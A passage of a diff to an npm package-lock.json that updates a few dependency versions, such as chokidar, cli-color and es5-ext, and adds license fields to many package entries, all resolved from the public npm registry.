-      "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
-      "funding": [
-        {
-          "type": "individual",
-          "url": "https://paulmillr.com/funding/"
-        }
-      ],
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
+      "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==",
+      "license": "MIT",
       "dependencies": {
         "anymatch": "~3.1.2",
         "braces": "~3.0.2",
@@ -3892,6 +4111,9 @@
       "engines": {
         "node": ">= 8.10.0"
       },
+      "funding": {
+        "url": "https://paulmillr.com/funding/"
+      },
       "optionalDependencies": {
         "fsevents": "~2.3.2"
       }
@@ -3900,6 +4122,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
       "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==",
+      "license": "ISC",
       "engines": {
         "node": ">=10"
       }
@@ -3914,6 +4137,7 @@
           "url": "https://github.com/sponsors/sibiraj-s"
         }
       ],
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -3923,17 +4147,19 @@
       "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
       "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
     },
     "node_modules/cli-color": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-2.0.3.tgz",
-      "integrity": "sha512-OkoZnxyC4ERN3zLzZaY9Emb7f/MhBOIpePv0Ycok0fJYT+Ouo00UBEIwsVsr0yoow++n5YWlSUgST9GKhNHiRQ==",
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-2.0.4.tgz",
+      "integrity": "sha512-zlnpg0jNcibNrO7GG9IeHH7maWFeCz+Ja1wx/7tZNU5ASSSSZ+/qZciM0/LHCYxSdqv5h2sdbQ/PXYdOuetXvA==",
+      "license": "ISC",
       "dependencies": {
         "d": "^1.0.1",
-        "es5-ext": "^0.10.61",
+        "es5-ext": "^0.10.64",
         "es6-iterator": "^2.0.3",
         "memoizee": "^0.4.15",
         "timers-ext": "^0.1.7"
@@ -3946,6 +4172,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz",
       "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==",
+      "license": "MIT",
       "dependencies": {
         "restore-cursor": "^3.1.0"
       },
@@ -3954,17 +4181,18 @@
       }
     },
     "node_modules/cli-progress-footer": {
-      "version": "2.3.2",
-      "resolved": "https://registry.npmjs.org/cli-progress-footer/-/cli-progress-footer-2.3.2.tgz",
-      "integrity": "sha512-uzHGgkKdeA9Kr57eyH1W5HGiNShP8fV1ETq04HDNM1Un6ShXbHhwi/H8LNV9L1fQXKjEw0q5FUkEVNuZ+yZdSw==",
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/cli-progress-footer/-/cli-progress-footer-2.3.3.tgz",
+      "integrity": "sha512-p+hyTPxSZWG1c3Qy1DLBoGZhpeA3Y6AMlKrtbGpMMSKpezbSLel8gW4e5You4FNlHb3wS/M1JU594OAWe/Totg==",
+      "license": "ISC",
       "dependencies": {
-        "cli-color": "^2.0.2",
+        "cli-color": "^2.0.4",
         "d": "^1.0.1",
-        "es5-ext": "^0.10.61",
+        "es5-ext": "^0.10.64",
         "mute-stream": "0.0.8",
         "process-utils": "^4.0.0",
         "timers-ext": "^0.1.7",
-        "type": "^2.6.0"
+        "type": "^2.7.2"
       },
       "engines": {
         "node": ">=10.0"
@@ -3974,6 +4202,7 @@
       "version": "2.9.2",
       "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz",
       "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       },
@@ -3985,6 +4214,7 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/cli-sprintf-format/-/cli-sprintf-format-1.1.1.tgz",
       "integrity": "sha512-BbEjY9BEdA6wagVwTqPvmAwGB24U93rQPBFZUT8lNCDxXzre5LFHQUTJc70czjgUomVg8u8R5kW8oY9DYRFNeg==",
+      "license": "ISC",
       "dependencies": {
         "cli-color": "^2.0.1",
         "es5-ext": "^0.10.53",
@@ -3999,6 +4229,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
       "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -4007,6 +4238,7 @@
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
       "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^3.0.0"
       },
@@ -4019,6 +4251,7 @@
       "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-3.1.0.tgz",
       "integrity": "sha512-wfOBkjXteqSnI59oPcJkcPl/ZmwvMMOj340qUIY1SKZCv0B9Cf4D4fAucRkIKQmsIuYK3x1rrgU7MeGRruiuiA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "slice-ansi": "^5.0.0",
         "string-width": "^5.0.0"
@@ -4031,10 +4264,11 @@
       }
     },
     "node_modules/cli-truncate/node_modules/ansi-regex": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
-      "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+      "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -4046,13 +4280,15 @@
       "version": "9.2.2",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
       "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/cli-truncate/node_modules/string-width": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
       "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "eastasianwidth": "^0.2.0",
         "emoji-regex": "^9.2.2",
@@ -4070,6 +4306,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
       "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^6.0.1"
       },
@@ -4084,6 +4321,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz",
       "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==",
+      "license": "ISC",
       "engines": {
         "node": ">= 10"
       }
@@ -4093,6 +4331,7 @@
       "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
       "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "string-width": "^4.2.0",
         "strip-ansi": "^6.0.0",
@@ -4104,6 +4343,7 @@
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
       "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.0.0",
         "string-width": "^4.1.0",
@@ -4120,6 +4360,7 @@
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz",
       "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8"
       }
@@ -4128,6 +4369,7 @@
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz",
       "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==",
+      "license": "MIT",
       "dependencies": {
         "mimic-response": "^1.0.0"
       },
@@ -4139,6 +4381,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
       "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "license": "MIT",
       "dependencies": {
         "color-name": "~1.1.4"
       },
@@ -4149,18 +4392,21 @@
     "node_modules/color-name": {
       "version": "1.1.4",
       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+      "license": "MIT"
     },
     "node_modules/colorette": {
       "version": "2.0.20",
       "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz",
       "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/combined-stream": {
       "version": "1.0.8",
       "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
       "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+      "license": "MIT",
       "dependencies": {
         "delayed-stream": "~1.0.0"
       },
@@ -4172,6 +4418,7 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
       "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -4180,13 +4427,15 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
       "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/compare-func": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/compare-func/-/compare-func-2.0.0.tgz",
       "integrity": "sha512-zHig5N+tPWARooBnb0Zx1MFcdfpyJrfTJ3Y5L+IFvUm8rM74hHz66z0gw0x4tijh5CorKkKUCnW82R2vmpeCRA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "array-ify": "^1.0.0",
         "dot-prop": "^5.1.0"
@@ -4196,12 +4445,14 @@
       "version": "3.6.0",
       "resolved": "https://registry.npmjs.org/compare-versions/-/compare-versions-3.6.0.tgz",
       "integrity": "sha512-W6Af2Iw1z4CB7q4uU4hv646dW9GQuBM+YpC0UvUCWSD8w90SJjp+ujJuXaEMtAXBtSqGfMPuFOVn4/+FlaqfBA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/component-emitter": {
       "version": "1.3.1",
       "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.1.tgz",
       "integrity": "sha512-T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==",
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
       }
@@ -4210,6 +4461,7 @@
       "version": "4.1.2",
       "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-4.1.2.tgz",
       "integrity": "sha512-D3uMHtGc/fcO1Gt1/L7i1e33VOvD4A9hfQLP+6ewd+BvG/gQ84Yh4oftEhAdjSMgBgwGL+jsppT7JYNpo6MHHg==",
+      "license": "MIT",
       "dependencies": {
         "buffer-crc32": "^0.2.13",
         "crc32-stream": "^4.0.2",
@@ -4223,7 +4475,8 @@
     "node_modules/concat-map": {
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
-      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
+      "license": "MIT"
     },
     "node_modules/concat-stream": {
       "version": "2.0.0",
@@ -4233,6 +4486,7 @@
       "engines": [
         "node >= 6.0"
       ],
+      "license": "MIT",
       "dependencies": {
         "buffer-from": "^1.0.0",
         "inherits": "^2.0.3",
@@ -4245,6 +4499,7 @@
       "resolved": "https://registry.npmjs.org/conf/-/conf-9.0.2.tgz",
       "integrity": "sha512-rLSiilO85qHgaTBIIHQpsv8z+NnVfZq3cKuYNCXN1AOqPzced0GWZEe/A517VldRLyQYXUMyV+vszavE2jSAqw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ajv": "^7.0.3",
         "ajv-formats": "^1.5.1",
@@ -4270,6 +4525,7 @@
       "resolved": "https://registry.npmjs.org/ajv/-/ajv-7.2.4.tgz",
       "integrity": "sha512-nBeQgg/ZZA3u3SYxyaDvpvDtgZ/EZPF547ARgZBrG9Bhu1vKDwAIjtIf+sDtJUKa2zOcEbmRLBRSyMraS/Oy1A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "fast-deep-equal": "^3.1.1",
         "json-schema-traverse": "^1.0.0",
@@ -4286,6 +4542,7 @@
       "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-1.6.1.tgz",
       "integrity": "sha512-4CjkH20If1lhR5CGtqkrVg3bbOtFEG80X9v6jDOIUhbzzbB+UzPBGy8GQhUNVZ0yvMHdMpawCOcy5ydGMsagGQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ajv": "^7.0.0"
       },
@@ -4303,6 +4560,7 @@
       "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-6.0.1.tgz",
       "integrity": "sha512-tE7ztYzXHIeyvc7N+hR3oi7FIbf/NIjVP9hmAt3yMXzrQ072/fpjGLx2GxNxGxUl5V73MEqYzioOMoVhGMJ5cA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-obj": "^2.0.0"
       },
@@ -4318,6 +4576,7 @@
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
       "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "semver": "^6.0.0"
       },
@@ -4333,6 +4592,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -4341,6 +4601,7 @@
       "version": "0.5.4",
       "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
       "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "5.2.1"
       },
@@ -4353,6 +4614,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog/-/conventional-changelog-3.1.25.tgz",
       "integrity": "sha512-ryhi3fd1mKf3fSjbLXOfK2D06YwKNic1nC9mWqybBHdObPd8KJ2vjaXZfYj1U23t+V8T8n0d7gwnc9XbIdFbyQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "conventional-changelog-angular": "^5.0.12",
         "conventional-changelog-atom": "^2.0.8",
@@ -4375,6 +4637,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-angular/-/conventional-changelog-angular-5.0.13.tgz",
       "integrity": "sha512-i/gipMxs7s8L/QeuavPF2hLnJgH6pEZAttySB6aiQLWcX3puWDL3ACVmvBhJGxnAy52Qc15ua26BufY6KpmrVA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "compare-func": "^2.0.0",
         "q": "^1.5.1"
@@ -4388,6 +4651,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-atom/-/conventional-changelog-atom-2.0.8.tgz",
       "integrity": "sha512-xo6v46icsFTK3bb7dY/8m2qvc8sZemRgdqLb/bjpBsH2UyOS8rKNTgcb5025Hri6IpANPApbXMg15QLb1LJpBw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "q": "^1.5.1"
       },
@@ -4400,6 +4664,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-codemirror/-/conventional-changelog-codemirror-2.0.8.tgz",
       "integrity": "sha512-z5DAsn3uj1Vfp7po3gpt2Boc+Bdwmw2++ZHa5Ak9k0UKsYAO5mH1UBTN0qSCuJZREIhX6WU4E1p3IW2oRCNzQw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "q": "^1.5.1"
       },
@@ -4411,13 +4676,15 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/conventional-changelog-config-spec/-/conventional-changelog-config-spec-2.1.0.tgz",
       "integrity": "sha512-IpVePh16EbbB02V+UA+HQnnPIohgXvJRxHcS5+Uwk4AT5LjzCZJm5sp/yqs5C6KZJ1jMsV4paEV13BN1pvDuxQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/conventional-changelog-conventionalcommits": {
       "version": "4.6.3",
       "resolved": "https://registry.npmjs.org/conventional-changelog-conventionalcommits/-/conventional-changelog-conventionalcommits-4.6.3.tgz",
       "integrity": "sha512-LTTQV4fwOM4oLPad317V/QNQ1FY4Hju5qeBIM1uTHbrnCE+Eg4CdRZ3gO2pUeR+tzWdp80M2j3qFFEDWVqOV4g==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "compare-func": "^2.0.0",
         "lodash": "^4.17.15",
@@ -4432,6 +4699,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-core/-/conventional-changelog-core-4.2.4.tgz",
       "integrity": "sha512-gDVS+zVJHE2v4SLc6B0sLsPiloR0ygU7HaDW14aNJE1v4SlqJPILPl/aJC7YdtRE4CybBf8gDwObBvKha8Xlyg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "add-stream": "^1.0.0",
         "conventional-changelog-writer": "^5.0.0",
@@ -4457,6 +4725,7 @@
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz",
       "integrity": "sha512-NWzkk0jSJtTt08+FBFMvXoeZnOJD+jTtsRmBYbAIzJdX6l7dLgR7CTubCM5/eDdPUBvLCeVasP1brfVR/9/EZQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^2.0.0"
       },
@@ -4468,13 +4737,15 @@
       "version": "2.8.9",
       "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
       "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/conventional-changelog-core/node_modules/locate-path": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz",
       "integrity": "sha512-NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^2.0.0",
         "path-exists": "^3.0.0"
@@ -4488,6 +4759,7 @@
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz",
       "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-try": "^1.0.0"
       },
@@ -4500,6 +4772,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz",
       "integrity": "sha512-nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^1.1.0"
       },
@@ -4512,6 +4785,7 @@
       "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz",
       "integrity": "sha512-U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -4521,6 +4795,7 @@
       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
       "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -4530,6 +4805,7 @@
       "resolved": "https://registry.npmjs.org/path-type/-/path-type-3.0.0.tgz",
       "integrity": "sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "pify": "^3.0.0"
       },
@@ -4542,6 +4818,7 @@
       "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
       "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -4551,6 +4828,7 @@
       "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-3.0.0.tgz",
       "integrity": "sha512-BLq/cCO9two+lBgiTYNqD6GdtK8s4NpaWrl6/rCO9w0TUS8oJl7cmToOZfRYllKTISY6nt1U7jQ53brmKqY6BA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "load-json-file": "^4.0.0",
         "normalize-package-data": "^2.3.2",
@@ -4565,6 +4843,7 @@
       "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-3.0.0.tgz",
       "integrity": "sha512-YFzFrVvpC6frF1sz8psoHDBGF7fLPc+llq/8NB43oagqWkx8ar5zYtsTORtOjw9W2RHLpWP+zTWwBvf1bCmcSw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-up": "^2.0.0",
         "read-pkg": "^3.0.0"
@@ -4578,6 +4857,7 @@
       "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
       "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "hosted-git-info": "^2.1.4",
         "resolve": "^1.10.0",
@@ -4590,6 +4870,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
       "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver"
       }
@@ -4599,6 +4880,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-ember/-/conventional-changelog-ember-2.0.9.tgz",
       "integrity": "sha512-ulzIReoZEvZCBDhcNYfDIsLTHzYHc7awh+eI44ZtV5cx6LVxLlVtEmcO+2/kGIHGtw+qVabJYjdI5cJOQgXh1A==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "q": "^1.5.1"
       },
@@ -4611,6 +4893,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-eslint/-/conventional-changelog-eslint-3.0.9.tgz",
       "integrity": "sha512-6NpUCMgU8qmWmyAMSZO5NrRd7rTgErjrm4VASam2u5jrZS0n38V7Y9CzTtLT2qwz5xEChDR4BduoWIr8TfwvXA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "q": "^1.5.1"
       },
@@ -4623,6 +4906,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-express/-/conventional-changelog-express-2.0.6.tgz",
       "integrity": "sha512-SDez2f3iVJw6V563O3pRtNwXtQaSmEfTCaTBPCqn0oG0mfkq0rX4hHBq5P7De2MncoRixrALj3u3oQsNK+Q0pQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "q": "^1.5.1"
       },
@@ -4635,6 +4919,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-jquery/-/conventional-changelog-jquery-3.0.11.tgz",
       "integrity": "sha512-x8AWz5/Td55F7+o/9LQ6cQIPwrCjfJQ5Zmfqi8thwUEKHstEn4kTIofXub7plf1xvFA2TqhZlq7fy5OmV6BOMw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "q": "^1.5.1"
       },
@@ -4647,6 +4932,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-jshint/-/conventional-changelog-jshint-2.0.9.tgz",
       "integrity": "sha512-wMLdaIzq6TNnMHMy31hql02OEQ8nCQfExw1SE0hYL5KvU+JCTuPaDO+7JiogGT2gJAxiUGATdtYYfh+nT+6riA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "compare-func": "^2.0.0",
         "q": "^1.5.1"
@@ -4660,6 +4946,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-preset-loader/-/conventional-changelog-preset-loader-2.3.4.tgz",
       "integrity": "sha512-GEKRWkrSAZeTq5+YjUZOYxdHq+ci4dNwHvpaBC3+ENalzFWuCWa9EZXSuZBpkr72sMdKB+1fyDV4takK1Lf58g==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       }
@@ -4669,6 +4956,7 @@
       "resolved": "https://registry.npmjs.org/conventional-changelog-writer/-/conventional-changelog-writer-5.0.1.tgz",
